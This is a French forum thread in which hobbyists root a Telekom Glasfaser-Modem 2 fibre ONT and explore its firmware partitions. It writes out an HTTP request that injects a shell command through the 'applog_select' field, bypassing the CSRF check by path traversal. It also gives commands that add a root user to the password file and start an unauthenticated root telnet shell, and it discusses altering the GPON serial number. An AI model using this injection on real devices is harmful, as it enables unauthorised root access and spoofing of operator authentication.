Auteur Sujet: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK (Lu 18828 fois)

benoitm974 · « **Réponse #96 le:** 08 juin 2023 à 10:49:17 »

@hwti pour ton info voici la table des points de montage final:

Filesystem 1K-blocks Used Available Use% Mounted on
/dev/root 9472 9472 0 100% /
/dev/mtdblock22 3840 3840 0 100% /mnt/rootfs
/dev/mtdblock5 1280 388 892 30% /tmp/var_link_dir/ft
/dev/mtdblock15 2560 456 2104 18% /mnt/xml_config
/dev/mtdblock16 2560 428 2132 17% /mnt/erasable_xml_config
/dev/mtdblock17 9600 3728 5872 39% /data

etrangement on ne retrouve pas le montage /libshashfs qu'on voit dans le dump, pourtant les lib et les binaires sont bien là ... ca doit être un mode ubifs ...

hwti · « **Réponse #97 le:** 08 juin 2023 à 14:35:14 »

Citation de: benoitm974 le 08 juin 2023 à 10:24:57

la requête:
Code: [Sélectionner]
POST /data/statussupporteventlog_applog_download.json?_=1686211215966&csrf_token=HK460CEB5AJW1F3A8140 HTTP/1.1 Host: 192.168.100.1 Content-Length: 49 Accept: */* DNT: 1 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Origin: http://192.168.100.1 Referer: http://192.168.100.1/setup.cgi?next_file=activation_page/%2e%2e%2fstatusandsupport/debug_log.html Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,fr-FR;q=0.8,fr;q=0.7 Cookie: lang=en Connection: close applog_select=4.2023-06-08-00-35-23.setup;/bin/ps

Compte tenu de la requête d'origine, j'en déduis que statusandsupport/debug_log.html est accessible.

En plus de la capacité à lancer des commandes, ça ne m'étonnerait pas que le chemin ne soit pas protégé, et qu'on puisse récupérer des fichiers arbitaires directement, par exemple "applog_select=../../../../var/http_pw".

Pour le cas de l'ONT 1&1, je crains que cette API soit derrière le login malheureusement.

Citation de: benoitm974 le 08 juin 2023 à 10:24:57

Du coup on peut lancer /usr/sbin/telnetd et/ou /usr/sbin/sshd qui répondent bien, par contre telnet ne reconnait aucun login (superadmin superuser root ...) et quitte avant le prompt password et sshd root/root ne fonctionne pas donc il va falloir creer un user grâce à l'injection. D'autre part il n'y a pas netcat (applet not found dans busybox) sur le router donc l'option simple de faire un remote shell ne semble pas possible non plus...

telnetd => login => sc_cli => /var/cli_pw
Le sshd semble également patché pour utiliser /var/cli_pw.
Tu peux regarder si tu as le même contenu que dans mon test standalone, si oui on pourrait tenter d'utiliser hashcat, mais hmac_sha256($1$SERCOMM$, password) c'est compliqué si le mot de passe est long.
Sinon il faut soit :
- injecter un user : "echo root:a55242ef39eaf4157eae9139cd746837ed8091505eee52c10bdc27bbab1ab260:0:0:Root:/:/bin/sh >> /var/cli_pw"
- ajouter une clé publique (si c'est activé).

Mais le telnetd risque d'être limité à sc_cli (qui remplace login, mais est en fait un shell), malgré le fait que le /var/cli_pw donne /bin/sh comme shell.
Pour sshd, je ne sais pas, ça dépend de comment ils l'ont patché.

hwti · « **Réponse #98 le:** 08 juin 2023 à 14:42:28 »

Citation de: benoitm974 le 08 juin 2023 à 10:49:17

@hwti pour ton info voici la table des points de montage final:

Filesystem 1K-blocks Used Available Use% Mounted on
/dev/root 9472 9472 0 100% /
/dev/mtdblock22 3840 3840 0 100% /mnt/rootfs
/dev/mtdblock5 1280 388 892 30% /tmp/var_link_dir/ft
/dev/mtdblock15 2560 456 2104 18% /mnt/xml_config
/dev/mtdblock16 2560 428 2132 17% /mnt/erasable_xml_config
/dev/mtdblock17 9600 3728 5872 39% /data

etrangement on ne retrouve pas le montage /libshashfs qu'on voit dans le dump, pourtant les lib et les binaires sont bien là ... ca doit être un mode ubifs ...

/mnt/rootfs c'est logiquement "lib_squashfs", mais c'est bizarre que ça soit présenté comme une partition MTD, et pas comme un /dev/ubi*.
C'est peut-être gluebi, mais dans le kernel c'est indiqué comme "legacy" (et squashfs => mtdblock => mtd => ubi => mtd c'est moche...).
Les traces kernel donneront peut-être plus d'informations, et peut-être "cat /proc/mtd".

Pour /dev/root, il faut regarder "cat /proc/cmdline", c'est probablement aussi une fausse MTD.

benoitm974 · « **Réponse #99 le:** 08 juin 2023 à 14:45:39 »

Citation de: hwti le 08 juin 2023 à 14:42:28

/mnt/rootfs c'est logiquement "lib_squashfs", mais c'est bizarre que ça soit présenté comme une partition MTD, et pas comme un /dev/ubi*.
C'est peut-être gluebi, mais dans le kernel c'est indiqué comme "legacy" (et squashfs => mtdblock => mtd => ubi => mtd c'est moche...).
Les traces kernel donneront peut-être plus d'informations, et peut-être "cat /proc/mtd".

Pour /dev/root, il faut regarder "cat /proc/cmdline", c'est probablement aussi une fausse MTD.

cat /proc/cmdline:

Code: [Sélectionner]

coherent_pool=4M cpuidle_sysfs_switch pci=pcie_bus_safe
cat /proc/mtd:

Code: [Sélectionner]

dev:    size   erasesize  name
mtd0: 00200000 00020000 "CfeROM"
mtd1: 00400000 00020000 "CfeRAM1"
mtd2: 00400000 00020000 "CfeRAM2"
mtd3: 000a0000 00020000 "FlashMAP"
mtd4: 000a0000 00020000 "SN"
mtd5: 00140000 00020000 "Protect"
mtd6: 01b80000 00020000 "Rootfs1"
mtd7: 00c80000 00020000 "Lib1"
mtd8: 01b80000 00020000 "Rootfs2"
mtd9: 00c80000 00020000 "Lib2"
mtd10: 000a0000 00020000 "Bootflg"
mtd11: 000a0000 00020000 "Rootfs1_Info"
mtd12: 000a0000 00020000 "Lib1_Info"
mtd13: 000a0000 00020000 "Rootfs2_Info"
mtd14: 000a0000 00020000 "Lib2_Info"
mtd15: 00280000 00020000 "XMLConfig"
mtd16: 00280000 00020000 "Erasable_XML_CFG"
mtd17: 00960000 00020000 "AppData"
mtd18: 00140000 00020000 "Yaffs"
mtd19: 010c0000 00020000 "Reserve"
mtd20: 00930000 0001f000 "rootfs_ubifs"
mtd21: 0029bf98 0001f000 "filestruct_full.bin"
mtd22: 003bd000 0001f000 "lib_squashfs"

benoitm974 · « **Réponse #100 le:** 08 juin 2023 à 14:48:56 »

Citation de: hwti le 08 juin 2023 à 14:35:14

Compte tenu de la requête d'origine, j'en déduis que statusandsupport/debug_log.html est accessible.

En plus de la capacité à lancer des commandes, ça ne m'étonnerait pas que le chemin ne soit pas protégé, et qu'on puisse récupérer des fichiers arbitaires directement, par exemple "applog_select=../../../../var/http_pw".

Pour le cas de l'ONT 1&1, je crains que cette API soit derrière le login malheureusement.
telnetd => login => sc_cli => /var/cli_pw
Le sshd semble également patché pour utiliser /var/cli_pw.
Tu peux regarder si tu as le même contenu que dans mon test standalone, si oui on pourrait tenter d'utiliser hashcat, mais hmac_sha256($1$SERCOMM$, password) c'est compliqué si le mot de passe est long.
Sinon il faut soit :
- injecter un user : "echo root:a55242ef39eaf4157eae9139cd746837ed8091505eee52c10bdc27bbab1ab260:0:0:Root:/:/bin/sh >> /var/cli_pw"
- ajouter une clé publique (si c'est activé).

Mais le telnetd risque d'être limité à sc_cli (qui remplace login, mais est en fait un shell), malgré le fait que le /var/cli_pw donne /bin/sh comme shell.
Pour sshd, je ne sais pas, ça dépend de comment ils l'ont patché.

Hé oui j'aurai du relire les thread d'avant ou /var/cli_pw était déjà mentionné, donc pour le test en écrasant avec un user sans passwd on arrive effectivement à se logé en telnet ou ssh MAIS ils ont pacthé pour qu'on soit bloqué dans la sc_cli ... donc pas pratique.

Je ne sais pas si c'est le /bin/login qui est patché ou telnetd et sshd ?

benoitm974 · « **Réponse #101 le:** 08 juin 2023 à 18:08:26 »

Du coup le moyen que j'ai trouvé le plus simple c'est de créer un script bash qui remplace /bin/login, de lancer telnet avec l'option -l pour préciser d'utiliser ce script à la place de /bin/login et lancer un tty/shell dans le script en question. Du coup y'a aucune authentification c'est pas secure du tout mais ca permet d'avoir un shell propre avec auto-completion etc .. pour explorer l'ONT en mode root.

les commandes à injecter:

Code: [Sélectionner]

echo "#!/bin/sh" > /tmp/slogin
echo "export PATH=/bin:/sbin:/usr/bin:/usr/sbin" >> /tmp/slogin
echo "/bin/cttyhack /bin/sh" >> /tmp/slogin

/bin/chmod 755 /tmp/slogin

/usr/sbin/telnetd -l /tmp/slogin

Voila un screenshot d'un top qui tourne dans le shell via telnet !!!

Maintenant on peut commencer à regarder si on peut résoudre la question de l'IGMP pour Bouygues et si on peut changer les valeur de numéro de série pour l'authentification OMCI.

Encore un grand grand merci à @hwti
Benoit

benoitm974 · « **Réponse #102 le:** 08 juin 2023 à 18:51:30 »

Citation de: mirtouf le 27 avril 2023 à 17:07:59

Je pense que si on pouvait changer le numéro de série, ça serait plus simple pour éviter les problèmes d'authentifications.

Bon alors à priori les info sont dans une partition de la nand dédié

Code: [Sélectionner]

/tmp/var_link_dir/run # mount
/dev/root on / type squashfs (ro,relatime)
devtmpfs on /dev type devtmpfs (rw,relatime,mode=0755)
/dev/mtdblock22 on /mnt/rootfs type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
tmpfs on /tmp type tmpfs (rw,relatime,size=64M)
sysfs on /sys type sysfs (rw,relatime)
devpts on /dev/pts type devpts (rw,relatime,mode=600)
/dev/mtdblock5 on /tmp/var_link_dir/ft type jffs2 (ro,relatime)
/dev/mtdblock15 on /mnt/xml_config type jffs2 (rw,relatime)
/dev/mtdblock16 on /mnt/erasable_xml_config type jffs2 (rw,relatime)
/dev/mtdblock17 on /data type jffs2 (rw,relatime)

ls /tmp/var_link_dir/ft

Code: [Sélectionner]

customer_sn gpon_sn hw_version mac_addr pcba_sn
il semble qu'on puisse remount en RW la partition et donc modifier les valeurs

Code: [Sélectionner]

mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft
donne:

Code: [Sélectionner]

/tmp/var_link_dir/run # mount
/dev/root on / type squashfs (ro,relatime)
devtmpfs on /dev type devtmpfs (rw,relatime,mode=0755)
/dev/mtdblock22 on /mnt/rootfs type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
tmpfs on /tmp type tmpfs (rw,relatime,size=64M)
sysfs on /sys type sysfs (rw,relatime)
devpts on /dev/pts type devpts (rw,relatime,mode=600)
/dev/mtdblock5 on /tmp/var_link_dir/ft type jffs2 (rw,relatime)
/dev/mtdblock15 on /mnt/xml_config type jffs2 (rw,relatime)
/dev/mtdblock16 on /mnt/erasable_xml_config type jffs2 (rw,relatime)
/dev/mtdblock17 on /data type jffs2 (rw,relatime)

@mirtouf as tu toujours ton ONT pour tenté la modif sn ?

benoitm974 · « **Réponse #103 le:** 08 juin 2023 à 20:02:58 »

Citation de: hwti le 08 juin 2023 à 14:35:14

Compte tenu de la requête d'origine, j'en déduis que statusandsupport/debug_log.html est accessible.

Oui mais par contre comme précisé dans un post précédent l'avantage de passer par un transversal path c'est que le setup.cgi ne vérifie pas le csrf token quand il voit un chemin non sécurisé en premier

Citer

En plus de la capacité à lancer des commandes, ça ne m'étonnerait pas que le chemin ne soit pas protégé, et qu'on puisse récupérer des fichiers arbitaires directement, par exemple "applog_select=../../../../var/http_pw".

pas directement comme ça parceque la chaine est passé à la commande tar mais après un ";" on peut effectivement lancer des commandes et ces dernières ont accès à tous le système car le mini_httpd est lancé .... en root ... et sans chroot ou limitation (y compris pour les cgi)

mirtouf · « **Réponse #104 le:** 08 juin 2023 à 20:41:19 »

Bonsoir, oui je l'ai toujours, cela me permettra de voir si la TV fonctionne avec cet ONT.
Toutefois, j'ai uniquement lu en diagonale, quelles sont les commandes curl à lancer pour avoir accès à un shell ?

hwti · « **Réponse #105 le:** 08 juin 2023 à 22:32:32 »

Citation de: benoitm974 le 08 juin 2023 à 14:45:39

cat /proc/cmdline:
Code: [Sélectionner]
coherent_pool=4M cpuidle_sysfs_switch pci=pcie_bus_safe

Donc aucun root=xxx, et je ne sais pas qui monte /dev/mtdblock22 sur /mnt/rootfs.

/usr/sbin/board_init => /lib/libhal_product.so => /usr/sbin/fw_ctl --init ?
fw_ctl peut appeler ubiattach, mais c'est peut-être uniquement pour flasher.

Citation de: benoitm974 le 08 juin 2023 à 14:45:39

cat /proc/mtd:
Code: [Sélectionner]
dev: size erasesize name mtd0: 00200000 00020000 "CfeROM" mtd1: 00400000 00020000 "CfeRAM1" mtd2: 00400000 00020000 "CfeRAM2" mtd3: 000a0000 00020000 "FlashMAP" mtd4: 000a0000 00020000 "SN" mtd5: 00140000 00020000 "Protect" mtd6: 01b80000 00020000 "Rootfs1" mtd7: 00c80000 00020000 "Lib1" mtd8: 01b80000 00020000 "Rootfs2" mtd9: 00c80000 00020000 "Lib2" mtd10: 000a0000 00020000 "Bootflg" mtd11: 000a0000 00020000 "Rootfs1_Info" mtd12: 000a0000 00020000 "Lib1_Info" mtd13: 000a0000 00020000 "Rootfs2_Info" mtd14: 000a0000 00020000 "Lib2_Info" mtd15: 00280000 00020000 "XMLConfig" mtd16: 00280000 00020000 "Erasable_XML_CFG" mtd17: 00960000 00020000 "AppData" mtd18: 00140000 00020000 "Yaffs" mtd19: 010c0000 00020000 "Reserve" mtd20: 00930000 0001f000 "rootfs_ubifs" mtd21: 0029bf98 0001f000 "filestruct_full.bin" mtd22: 003bd000 0001f000 "lib_squashfs"

Soit le CFE passe les partitions MTD dans la device-tree, soit le kernel a du code spécifique.
Les mtd20/21/22 sont très probablement créées par gluebi, encore faut-il attacher des UBI à Rootfs1 / Lib1 ou Rootfs2 / Lib2.

Citation de: benoitm974 le 08 juin 2023 à 14:48:56

Je ne sais pas si c'est le /bin/login qui est patché ou telnetd et sshd ?

Les deux, /bin/login est un symlink vers sc_cli, mais telnetd et sshd sont aussi patchés.

Citation de: benoitm974 le 08 juin 2023 à 18:08:26

Code: [Sélectionner]
echo "#!/bin/sh" > /tmp/slogin echo "export PATH=/bin:/sbin:/usr/bin:/usr/sbin" >> /tmp/slogin echo "/bin/cttyhack /bin/sh" >> /tmp/slogin /bin/chmod 755 /tmp/slogin /usr/sbin/telnetd -l /tmp/slogin

A quoi sert le cttyhack ici ?
telnetd doit déjà allouer un PTY.

hwti · « **Réponse #106 le:** 08 juin 2023 à 22:34:32 »

Citation de: benoitm974 le 08 juin 2023 à 20:02:58

pas directement comme ça parceque la chaine est passé à la commande tar mais après un ";" on peut effectivement lancer des commandes et ces dernières ont accès à tous le système car le mini_httpd est lancé .... en root ... et sans chroot ou limitation (y compris pour les cgi)

Le parlais de récupérer un fichier dans le tarball.
Pour du binaire, ça peut être plus pratique que de passer par une commande (même si une fois qu'on a un shell, c'est plus simple).

hwti · « **Réponse #107 le:** 08 juin 2023 à 22:45:17 »

Citation de: benoitm974 le 08 juin 2023 à 18:51:30

ls /tmp/var_link_dir/ft
Code: [Sélectionner]
customer_sn gpon_sn hw_version mac_addr pcba_sn
il semble qu'on puisse remount en RW la partition et donc modifier les valeurs
Code: [Sélectionner]
mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft

Bizarre, dans /proc/mtd, mtd5 c'est Protect, c'est mtd4 qui s'appelle SN.

La partition SN, c'est peut-être là où j'ai vu J.DHP19M01E5 suivi de 0xFF.
Mais pour la suite ça ne colle pas, peut-être que les partitions ne sont pas contigues (pour voir l'offset, il faut regarder côté sysfs, ou /proc/device-tree si les partitions viennent de là).

En tout cas /usr/sbin/board_init => hal_mfs_flash_init (/lib/libhal_product.so) :
- /etc/mount_fs.sh
- copie de /var/ft/gpon_sn dans /tmp/hw_info/gpon_sn, et autres fichiers similaires
Par la suite, les autres programmes utilisent hal_mfg_gpon_sn, qui lit /tmp/hw_info/gpon_sn.

Donc on peut peut-être tester juste en modifiant /tmp/hw_info/gpon_sn, ce qui est temporaire donc sans risque.
Mais je ne sais pas si les utilisateurs comme umcid font l'appel quand ils en ont besoin, ou à l'init.